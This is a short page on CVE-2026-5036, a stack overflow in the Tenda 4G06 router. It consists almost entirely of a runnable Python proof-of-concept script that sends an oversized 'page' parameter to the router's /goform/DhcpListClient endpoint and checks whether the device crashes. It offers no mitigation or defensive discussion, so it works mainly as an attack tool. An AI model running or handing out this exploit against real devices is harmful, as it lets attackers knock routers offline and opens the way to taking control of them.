CVE-2026-5036 Tenda 4G06路由器栈溢出漏洞

import requests def exploit(target_ip): """ PoC for CVE-2026-5036 Sends a malicious payload to the 'page' parameter to trigger stack overflow. """ url = f"http://{target_ip}/goform/DhcpListClient" # Malicious buffer to overflow the stack # Adjust length based on specific analysis of the binary payload_buffer = b"A" * 500 data = { "page": payload_buffer } try: print(f"[+] Sending exploit payload to {target_ip}...") response = requests.post(url, data=data, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check if target crashed.") else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[!] Connection error or service crashed: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python poc.py <target_ip>") else: exploit(sys.argv[1])